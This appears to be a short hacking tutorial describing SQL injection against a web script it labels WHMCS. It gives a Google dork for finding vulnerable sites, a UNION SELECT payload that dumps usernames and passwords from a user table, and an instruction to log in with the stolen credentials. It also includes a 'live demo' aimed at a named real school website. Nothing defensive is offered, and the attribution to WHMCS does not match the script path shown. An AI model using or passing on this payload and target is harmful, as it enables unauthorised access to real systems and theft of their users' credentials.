WHMCompleteSolution CMS sql Injection Vulnerability

Hello everyone!! Today im goin to tell you about WHMCS SQL Injection Vulnerablity. This is a very old vulnerability but still works.
So now lets beging:-

• Firstly find a vulnerable site by using Google Dork:inurl:"weblink_cat_list.php?bcat_id="
• I have already one, url will be something like this  http://www.example.com/oldweb_kroobannok/weblink_cat_list.php?bcat_id=1
• Then change the url from  http://www.example.com/oldweb_kroobannok/weblink_cat_list.php?bcat_id=1 to  http://www.example.com/oldweb_kroobannok/weblink_cat_list.php?bcat_id=-1+UNION+SELECT+1,GROUP_concat(id,0x3a,username,0x3a,password),3,4+from+user .
• Bang !! All username as well as passwords will be shown. Now login with that credentials.

Live Demo:-

First Step  http://www.senaprasit.ac.th/oldweb_kroobannok/weblink_cat_list.php?bcat_id=1 

Second Step  http://www.senaprasit.ac.th/oldweb_kroobannok/weblink_cat_list.php?bcat_id=-1+UNION+SELECT+1,GROUP_concat(id,0x3a,username,0x3a,password),3,4+from+user 

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